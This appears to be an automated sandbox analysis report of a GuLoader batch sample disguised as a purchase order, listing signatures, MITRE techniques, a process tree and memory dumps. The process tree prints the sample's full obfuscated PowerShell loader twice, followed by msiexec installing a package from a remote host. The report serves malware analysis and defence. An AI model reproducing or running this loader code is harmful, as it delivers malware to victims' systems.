Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/05/2026, 07:05
General
- Target PO# ATVHCWS26-387 HANSUNG VINA..bat
- Size 4KB
- Sample260526-hwr18ags21
- SHA256 93aec3da641e8a2d7191e5ec96e1678984c2441f129d6e91ad5741c896e1dfb0
Score
10/10
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Use of msiexec (install) with remote resource 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO# ATVHCWS26-387 HANSUNG VINA..bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -windowstyle 1 "mp 'afghan' 'trim' 'diago';$faksi=3;$reformproc=55;function partitu114 ($mbelfa,$malmhol) {$kokette57=stolthe168('Skaldship Pengestrmsanalysen Koldblodigt klapperslanger.__[ yyixxxnUUUt===]&&&$,llmee bTTTe///l^^^f cca xx rr- ++b!!!x') ;$kokette57+=stolthe168('uglies villigeres Cushie pondgrass Ddpunkternes Esophag r.oFFFrdd, ,-[EEEiLLLn fft zz] HH$xxxmBBBaG.Glaaammmmh ,:oVVVl:: ');;Mutismss ($kokette57)}function stolthe168 ($sekl,$firtall) { $senntal=$faksi+$reformproc; do {$fangedragt+=$sekl[$senntal];$senntal+=4} until (!$sekl[$senntal])$fangedragt}function Mutismss ($sammen,$malmholevidste) {&$afsnitsn $sammen}$unthinkabl=stolthe168('Tapetsereren thaiens Rotulus Unliterate Beskyttelserne y.y:&&&:');$forb=stolthe168('escapades Skabrses Nonministerial Unsold arbejdsdygtig ?? .');Function Monokrome ($sekl,$untessella=0){ ;$blegnesun=stolthe168('Chuddah Sheepcrook guldgruber registreringers Giden Syn ##$GGGs eectttr###i ^pccct###:eeebPPPacc lyyyaHHHnJJ,cttte_ _= i,[AAACg.go');$blegnesun+=stolthe168('Kirstin Pyrophyllite Hjemstavnsdigtningers Telefonordre CCnnn.v cce,ccrKKKt CC]');$blegnesun+=$unthinkabl;$blegnesun+=stolthe168('Amvis Horeunges Chantlate Mediatingly Wistly mnning Con??,F&&&r>>>o???m>>>B###akkksuuue rr6 yy4~~~S k tKKKro oicccnX Xgzzz(!!!$QQQsttte%% kBBBlIII)');Mutismss ($blegnesun);For($senntal=0; $balance[$senntal] -ne $hypopha; $senntal++){$balance[$senntal] = partitu114 $balance[$senntal] $scopu22[$senntal%4]}$caco96=stolthe168('Portepeernes Ileostomy Thirl Neoguelfiske NonanarchicalZZZ$ k,s MMc nnrzzzihh,pm mtZZZ:qqqvKKKo,hhlgggtNNNa= =sllleW.WiYY,szz 2~~~5<< 2%% =DDD[');$caco96+=stolthe168('Uvederheftighed Hydrogenised Forfatterinders Klemliste oooTUUUerrrxccct');$caco96+=$forb;$caco96+=stolthe168('Traktrs Rosenvandet Malhilds percenter Inderliggjordes RRREhh.n:::cBBBoNN d.ooiRRRnF FgWWW]');$caco96+=$unthinkabl;$caco96+=stolthe168('Unrecent Haptophor Cheweler Temporoauricular Unbare Arn<<<A.yyS;;;C<<<InnnI');$caco96+=$forb;$caco96+=stolthe168('Ophavsretsindehavers Lanciers hvirvelvinde Gudenaaens M &&G^^^e---tjj SMMMtEEErZZZi Mn ??gDDD( .w$EEEb---a~~~lE Ea ssn^,^cv ve&&&)');Mutismss ($caco96);if ($untessella) { Mutismss $voltaseis252}else {;$voltaseis252}}$afsnitsn=stolthe168 'Fladpandets Azthionium Overrepraesenteret Shavernes Brn~~ I';$afsnitsn+=stolthe168 'Ducdame Redamnation Triconodont dmringernes ChilipeberepppE';$scopu22=@(66,97,110,97);$afsnitsn+=stolthe168 'Ikke Spildprocenterne Alturing Bat superregal Londony L,XXX';$geolog=Monokrome 'd09eQWo2Bw8mDhkSYi86QXNRQFF5QTkILFdaWmIZWFV5QRwXeFBbUWxRR0EFBA0KLU5cUXNRXlByUE4nKxMLBy0ZQVB3UUBR';$samfundsn=Monokrome 'KhUaETFbQU4mEwcXJ08JDi0GAgRsAgEMbRQNXicZHg4wFVMFLRYADS0ACkcrBVNQdi0LBXMYKzQaCB4sMhYmVxQGKRIWFg8ycg0gUzY0IBc=';$senntalndledn=Monokrome 'fA==';$mbelfadmixesor='\Beregn166.Ove';Monokrome 'ZgYCDiAAAlshAAICK1xKBCwXVAAyEQoANgBFRS8DCw0kAAoMKxkLEi0T' 1;Monokrome 'ZgYCDiAAAlskAAIFf0UdAC8HGw8mEgBPMRECCDZJShInDwAVIw0ABS4ECg9r' 1;Monokrome 'GS8LFWwyCxM0CA0EEg4HDzYsDw8jBgsTH1tUMicCGxMrFRcxMA4aDiEOAlxxUVlT' 1;$samfundsn=$fald[0];$kolpor=(Monokrome 'ZgYCDiAAAls3FwsLMBIdCn8vCxZvLgwLJwIaQQwEGk8VBAwiLggLDzY=');Mutismss ($kolpor);Monokrome 'ZhQYBCgTHRIpTyYEIwULEzE6NS8nFUApNhUeMycQGwQxFSYEIwULEx9VXjx/RQkELQ0BBg==' 1;$sendeb=Monokrome 'Bg4ZDy4ODwUECAIE';$dkse=Monokrome 'ZhQYBCgTHRIpT0oSJw8KBCBPJw80DgUEakUdAC8HGw8mEgBNZhEPEjEAAhRr';$passalu=$calci;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1;while (!$levned) {Monokrome 'ZgYCDiAAAlsxCA0KJwQdETAEU0U2ExsE' 1;Mutismss $dkse;Monokrome 'EQ0LBDJJWkg=' 1;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1 ;Monokrome 'ZgYCDiAAAlsmEwcRMlxKBi4ODAAuWw0OIQoPSmlESgcjDQpPIQ4bDzY=' 1;$samfundsn=$fald[$dripp]}$mizp=138643;$fiskeb=15571;Monokrome 'ZgYCDiAAAlsgCAENLQYHXCUCTkUyAB0SIw0b' 1;Monokrome 'ZgYCDiAAAlsRAgsPLREHXBkiAQ80BBwVH1tUJzAOAyMjEgtXdjIaEysPCUlmAwcOLg4JCGs=' 1;Monokrome 'ZgYCDiAAAlsjEwwEfzo6BDoVQCQsAgEFKw8JPHhbLzIBKCdPBQQaMjYTBw8lSUoyIQQADjIIRw==' 1;Monokrome 'ZgYCDiAAAls2AB4RJwkPDS5cSgAwAwtPMRQMEjYTBw8lSUoMKxseTWYHBxIpBAxI' 1;Mutismss $tappehall;#Suzansunre EnklaveIex bell ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'afghan' 'trim' 'diago';$faksi=3;$reformproc=55;function partitu114 ($mbelfa,$malmhol) {$kokette57=stolthe168('Skaldship Pengestrmsanalysen Koldblodigt klapperslanger.__[ yyixxxnUUUt===]&&&$,llmee bTTTe///l^^^f cca xx rr- ++b!!!x') ;$kokette57+=stolthe168('uglies villigeres Cushie pondgrass Ddpunkternes Esophag r.oFFFrdd, ,-[EEEiLLLn fft zz] HH$xxxmBBBaG.Glaaammmmh ,:oVVVl:: ');;Mutismss ($kokette57)}function stolthe168 ($sekl,$firtall) { $senntal=$faksi+$reformproc; do {$fangedragt+=$sekl[$senntal];$senntal+=4} until (!$sekl[$senntal])$fangedragt}function Mutismss ($sammen,$malmholevidste) {&$afsnitsn $sammen}$unthinkabl=stolthe168('Tapetsereren thaiens Rotulus Unliterate Beskyttelserne y.y:&&&:');$forb=stolthe168('escapades Skabrses Nonministerial Unsold arbejdsdygtig ?? .');Function Monokrome ($sekl,$untessella=0){ ;$blegnesun=stolthe168('Chuddah Sheepcrook guldgruber registreringers Giden Syn ##$GGGs eectttr###i ^pccct###:eeebPPPacc lyyyaHHHnJJ,cttte_ _= i,[AAACg.go');$blegnesun+=stolthe168('Kirstin Pyrophyllite Hjemstavnsdigtningers Telefonordre CCnnn.v cce,ccrKKKt CC]');$blegnesun+=$unthinkabl;$blegnesun+=stolthe168('Amvis Horeunges Chantlate Mediatingly Wistly mnning Con??,F&&&r>>>o???m>>>B###akkksuuue rr6 yy4~~~S k tKKKro oicccnX Xgzzz(!!!$QQQsttte%% kBBBlIII)');Mutismss ($blegnesun);For($senntal=0; $balance[$senntal] -ne $hypopha; $senntal++){$balance[$senntal] = partitu114 $balance[$senntal] $scopu22[$senntal%4]}$caco96=stolthe168('Portepeernes Ileostomy Thirl Neoguelfiske NonanarchicalZZZ$ k,s MMc nnrzzzihh,pm mtZZZ:qqqvKKKo,hhlgggtNNNa= =sllleW.WiYY,szz 2~~~5<< 2%% =DDD[');$caco96+=stolthe168('Uvederheftighed Hydrogenised Forfatterinders Klemliste oooTUUUerrrxccct');$caco96+=$forb;$caco96+=stolthe168('Traktrs Rosenvandet Malhilds percenter Inderliggjordes RRREhh.n:::cBBBoNN d.ooiRRRnF FgWWW]');$caco96+=$unthinkabl;$caco96+=stolthe168('Unrecent Haptophor Cheweler Temporoauricular Unbare Arn<<<A.yyS;;;C<<<InnnI');$caco96+=$forb;$caco96+=stolthe168('Ophavsretsindehavers Lanciers hvirvelvinde Gudenaaens M &&G^^^e---tjj SMMMtEEErZZZi Mn ??gDDD( .w$EEEb---a~~~lE Ea ssn^,^cv ve&&&)');Mutismss ($caco96);if ($untessella) { Mutismss $voltaseis252}else {;$voltaseis252}}$afsnitsn=stolthe168 'Fladpandets Azthionium Overrepraesenteret Shavernes Brn~~ I';$afsnitsn+=stolthe168 'Ducdame Redamnation Triconodont dmringernes ChilipeberepppE';$scopu22=@(66,97,110,97);$afsnitsn+=stolthe168 'Ikke Spildprocenterne Alturing Bat superregal Londony L,XXX';$geolog=Monokrome 'd09eQWo2Bw8mDhkSYi86QXNRQFF5QTkILFdaWmIZWFV5QRwXeFBbUWxRR0EFBA0KLU5cUXNRXlByUE4nKxMLBy0ZQVB3UUBR';$samfundsn=Monokrome 'KhUaETFbQU4mEwcXJ08JDi0GAgRsAgEMbRQNXicZHg4wFVMFLRYADS0ACkcrBVNQdi0LBXMYKzQaCB4sMhYmVxQGKRIWFg8ycg0gUzY0IBc=';$senntalndledn=Monokrome 'fA==';$mbelfadmixesor='\Beregn166.Ove';Monokrome 'ZgYCDiAAAlshAAICK1xKBCwXVAAyEQoANgBFRS8DCw0kAAoMKxkLEi0T' 1;Monokrome 'ZgYCDiAAAlskAAIFf0UdAC8HGw8mEgBPMRECCDZJShInDwAVIw0ABS4ECg9r' 1;Monokrome 'GS8LFWwyCxM0CA0EEg4HDzYsDw8jBgsTH1tUMicCGxMrFRcxMA4aDiEOAlxxUVlT' 1;$samfundsn=$fald[0];$kolpor=(Monokrome 'ZgYCDiAAAls3FwsLMBIdCn8vCxZvLgwLJwIaQQwEGk8VBAwiLggLDzY=');Mutismss ($kolpor);Monokrome 'ZhQYBCgTHRIpTyYEIwULEzE6NS8nFUApNhUeMycQGwQxFSYEIwULEx9VXjx/RQkELQ0BBg==' 1;$sendeb=Monokrome 'Bg4ZDy4ODwUECAIE';$dkse=Monokrome 'ZhQYBCgTHRIpT0oSJw8KBCBPJw80DgUEakUdAC8HGw8mEgBNZhEPEjEAAhRr';$passalu=$calci;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1;while (!$levned) {Monokrome 'ZgYCDiAAAlsxCA0KJwQdETAEU0U2ExsE' 1;Mutismss $dkse;Monokrome 'EQ0LBDJJWkg=' 1;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1 ;Monokrome 'ZgYCDiAAAlsmEwcRMlxKBi4ODAAuWw0OIQoPSmlESgcjDQpPIQ4bDzY=' 1;$samfundsn=$fald[$dripp]}$mizp=138643;$fiskeb=15571;Monokrome 'ZgYCDiAAAlsgCAENLQYHXCUCTkUyAB0SIw0b' 1;Monokrome 'ZgYCDiAAAlsRAgsPLREHXBkiAQ80BBwVH1tUJzAOAyMjEgtXdjIaEysPCUlmAwcOLg4JCGs=' 1;Monokrome 'ZgYCDiAAAlsjEwwEfzo6BDoVQCQsAgEFKw8JPHhbLzIBKCdPBQQaMjYTBw8lSUoyIQQADjIIRw==' 1;Monokrome 'ZgYCDiAAAls2AB4RJwkPDS5cSgAwAwtPMRQMEjYTBw8lSUoMKxseTWYHBxIpBAxI' 1;Mutismss $tappehall;#Suzansunre EnklaveIex bell ;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 20523⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4852 -ip 48521⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2sagtgtr.1ng.ps1
Beregn166.Ove
memory/4188-38-0x0000000005AB0000-0x0000000005E04000-memory.dmp
memory/4188-48-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-56-0x0000000008BE0000-0x0000000009DE9000-memory.dmp
memory/4188-55-0x0000000007600000-0x0000000007603000-memory.dmp
memory/4188-54-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-53-0x0000000008BE0000-0x0000000009DE9000-memory.dmp
memory/4188-52-0x0000000008BE0000-0x0000000009DE9000-memory.dmp
memory/4188-41-0x0000000006160000-0x00000000061AC000-memory.dmp
memory/4188-24-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-25-0x0000000004B00000-0x0000000004B36000-memory.dmp
memory/4188-26-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-27-0x00000000051F0000-0x0000000005818000-memory.dmp
memory/4188-28-0x00000000050F0000-0x0000000005112000-memory.dmp
memory/4188-30-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/4188-29-0x00000000059D0000-0x0000000005A36000-memory.dmp
memory/4188-51-0x0000000007600000-0x0000000007603000-memory.dmp
memory/4188-40-0x00000000060B0000-0x00000000060CE000-memory.dmp
memory/4188-49-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-50-0x0000000004BB0000-0x0000000004BC0000-memory.dmp
memory/4188-43-0x00000000065E0000-0x00000000065FA000-memory.dmp
memory/4188-42-0x0000000007080000-0x0000000007116000-memory.dmp
memory/4188-44-0x0000000006630000-0x0000000006652000-memory.dmp
memory/4188-45-0x0000000007930000-0x0000000007ED4000-memory.dmp
memory/4188-46-0x0000000008560000-0x0000000008BDA000-memory.dmp
memory/4196-1-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4196-4-0x000001C9F1BD0000-0x000001C9F1BF2000-memory.dmp
memory/4196-10-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4196-0-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4196-23-0x000001C9F1E40000-0x000001C9F1F8E000-memory.dmp
memory/4196-16-0x000001C9F1E40000-0x000001C9F1F8E000-memory.dmp
memory/4196-14-0x000001C9F1E40000-0x000001C9F1F8E000-memory.dmp
memory/4196-13-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4196-12-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4196-11-0x000001C9EF9E0000-0x000001C9EF9F0000-memory.dmp
memory/4852-57-0x0000000000A00000-0x0000000001C54000-memory.dmp
memory/4852-69-0x0000000000A00000-0x0000000001C54000-memory.dmp